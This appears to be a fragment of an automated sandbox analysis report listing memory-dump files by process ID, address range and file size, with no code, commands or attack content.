memory/3924-212-0x00007FFBBC040000-0x00007FFBBCB01000-memory.dmpFilesize
10MB
-
memory/3924-219-0x0000023A37E70000-0x0000023A37F22000-memory.dmpFilesize
712KB
-
memory/3924-225-0x00007FFBBC040000-0x00007FFBBCB01000-memory.dmpFilesize
10MB
-
memory/3924-220-0x0000023A37AD0000-0x0000023A37AF2000-memory.dmpFilesize
136KB
-
memory/3980-221-0x0000000000000000-mapping.dmp
-
memory/4012-152-0x00000000056D0000-0x0000000005736000-memory.dmpFilesize
408KB
-
memory/4012-140-0x0000000000000000-mapping.dmp
-
memory/4012-162-0x0000000006290000-0x00000000062AA000-memory.dmpFilesize
104KB
-
memory/4012-150-0x0000000004F60000-0x0000000005588000-memory.dmpFilesize
6MB
-
memory/4044-194-0x0000000000400000-0x000000000041E000-memory.dmpFilesize
120KB
-
memory/4044-198-0x0000000000400000-0x000000000041E000-memory.dmpFilesize
120KB
-
memory/4044-185-0x0000000000400000-0x000000000041E000-memory.dmpFilesize
120KB
-
memory/4044-183-0x0000000000000000-mapping.dmp
-
memory/4044-215-0x0000000000400000-0x000000000041E000-memory.dmpFilesize
120KB
-
memory/4384-133-0x0000000000000000-mapping.dmp
-
memory/4440-232-0x0000000000400000-0x0000000000420000-memory.dmpFilesize
128KB
-
memory/4440-231-0x0000000000400000-0x0000000000420000-memory.dmpFilesize
128KB
-
memory/4440-227-0x0000000000000000-mapping.dmp
-
memory/4440-240-0x0000000000400000-0x0000000000420000-memory.dmpFilesize
128KB
-
memory/4440-228-0x0000000000400000-0x0000000000420000-memory.dmpFilesize
128KB
-
memory/4464-223-0x0000000140000000-mapping.dmp
-
memory/4464-222-0x0000000140000000-0x0000000140078000-memory.dmpFilesize
480KB
-
memory/4464-226-0x00007FFBBC040000-0x00007FFBBCB01000-memory.dmpFilesize
10MB
-
memory/4464-261-0x00007FFBBC040000-0x00007FFBBCB01000-memory.dmpFilesize
10MB
-
memory/4556-176-0x0000000000000000-mapping.dmp
-
memory/4708-138-0x0000000000000000-mapping.dmp
-
memory/4780-165-0x0000000008770000-0x0000000008D14000-memory.dmpFilesize
5MB
-
memory/4780-154-0x00000000063E0000-0x00000000063FE000-memory.dmpFilesize
120KB
-
memory/4780-164-0x0000000007830000-0x0000000007852000-memory.dmpFilesize
136KB
-
memory/4780-147-0x0000000000000000-mapping.dmp
-
memory/4780-163-0x00000000078A0000-0x0000000007936000-memory.dmpFilesize
600KB
-
memory/4780-151-0x0000000005330000-0x0000000005352000-memory.dmpFilesize
136KB
-
memory/4788-136-0x0000000000000000-mapping.dmp
-
memory/5016-273-0x0000000000000000-mapping.dmp
-
memory/5084-242-0x0000000000000000-mapping.dmp